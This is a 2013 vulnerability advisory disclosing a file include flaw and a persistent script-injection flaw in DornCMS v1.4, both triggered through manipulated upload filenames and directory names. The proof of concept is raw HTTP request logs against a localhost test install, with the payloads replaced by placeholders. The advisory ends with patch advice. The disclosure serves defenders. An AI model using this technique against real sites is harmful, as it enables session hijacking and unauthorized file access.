Document Title: =============== DornCMS Application v1.4 - Multiple Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1113 Release Date: ============= 2013-10-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1113 Common Vulnerability Scoring System: ==================================== 6.6 Product & Service Introduction: =============================== This is a simple, easy to use, PHP Content Management System that is geared toward personal or informational websites with minimal interactivity. (Copy of the Homepage: http://sourceforge.net/projects/dorncms/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the DornCMS v1.4 web-application. Vulnerability Disclosure Timeline: ================================== 2013-10-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== SourceForge Product: DornCMS - Web Application 1.4 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A file include and a post inject vulnerability are detected in the Dorn Content Management System v1.4 web-application. The file include web vulnerability allows remote attackers to inject files with malicious context via POST method. The vulnerability is located in the `Upload` module in the Browse File section. Remote attackers are able to manipulate in the upload POST method request the filename value. The code or commands as filename executes in the index module file dir listing. In the exploitation phase the vulnerability allows an attacker to combine the script code inject with the file/path request for unauthorized access. Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password. Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Upload > Browse File Vulnerable Parameter(s): [+] filename (name) Affected Module(s): [+] File Manager - File Dir Listing 1.2 A persistent input validation web vulnerability is detected in the Dorn Content Management System v1.4 web-application. The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the device. The vulnerability is located in the file manager module. The file manager module allows the user to include regular files to the web-server system. Attackers are able to inject own malicious script codes as file name by tampering the upload POST method request. The execution of the code occurs in the file manager data list in the left bar. After the inject the code will be permanent executed and its not possible to delete via application function. Exploitation of the persistent web vulnerability requires low user interaction and a privileged web-application user account. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Add Sub Directory (FileManager) Vulnerable Parameter(s): [+] directory - name Affected Module(s): [+] File Manager Folder Listing Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by remote attackers with privileged application user account and without user interaction. For demonstration or reproduce ... Vulnerable Module: Upload > Browse File Affected: Current Directory: files/ name as path value PoC: Upload > Browse File - files/ Name
Current Directory: files/
Name Preview Size
--- PoC Session Request Logs --- Status: 200[OK] POST http://dorn.localhost:8080/dorncms/cms/doajaxfileupload/?directory=files/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[46] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Post Data: POST_DATA[-----------------------------7708139255231 Content-Disposition: form-data; name="fileToUpload"; filename="<<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]>" Content-Type: image/png ‰PNG Status: 200[OK] POST http://dorn.localhost:8080/dorncms/cms/filelist/ Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[318] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[*/*] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Content-Length[13] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] Post Data: path[files%2F] Response Headers: Date[Sun, 13 Oct 2013 19:25:57 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[318] Keep-Alive[timeout=2, max=99] Connection[Keep-Alive] Content-Type[text/html] Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/upload/file/<../../[LOCAL FILE/PATH INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Content Size[20] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.6.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:25:58 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[20] Keep-Alive[timeout=2, max=98] Connection[Keep-Alive] Content-Type[text/html] 1.2 The persistent web vulnerability can be exploited by remote attakers with privileged application user account and low user interaction. For demonstration or reproduce ... PoC: Add Sub Directory (File Manager) --- PoC Session Request Logs --- Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/folderlist/ Load Flags[LOAD_BACKGROUND ] Content Size[186] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[*/*] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] X-Requested-With[XMLHttpRequest] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:19:41 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[186] Keep-Alive[timeout=2, max=98] Connection[Keep-Alive] Content-Type[text/html] Status: 200[OK] GET http://dorn.localhost:8080/dorncms/cms/upload/file/[PERSISTENT SCRIPT CODE VULNERABILITY!]"< Load Flags[LOAD_DOCUMENT_URI ] Content Size[20] Mime Type[text/html] Request Headers: Host[dorn.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/] Cookie[__utma=87180614.576957282.1381681699.1381688518.1381691247.5; __utmc=87180614; __utmz=87180614.1381681699.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); uvts=iexqgvWCEnvk3fI; __gads=ID=510fdc08255814de:T=1381681756:S=ALNI_MZliqnNeNYBzuLMn-8D_tU8PM_Ugg; __utmb=87180614.5.10.1381691247; PHPSESSID=036s0d3jidrcp2mrapst0uqdb5] Connection[keep-alive] Response Headers: Date[Sun, 13 Oct 2013 19:19:41 GMT] Server[Apache] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[20] Keep-Alive[timeout=2, max=97] Connection[Keep-Alive] Content-Type[text/html] Solution - Fix & Patch: ======================= 1.1 Restrict the upload function and input by a secure escape and clean parse to ensure no execution occurs. Filter and parse also the main folder name listing were the output is executed. 1.2 The second vulnerability can be patched by a secure restriction and encode of the add sub directory function in the file manager module. Parse also the vulnerable output in the file manager listing even if the input is already encoded. Security Risk: ============== 1.1 The security risk of the local file include web vulnerability is estimated as high(+). 1.2 The security risk of the persistent input validation web vulnerability is estimated as medium(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2013 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com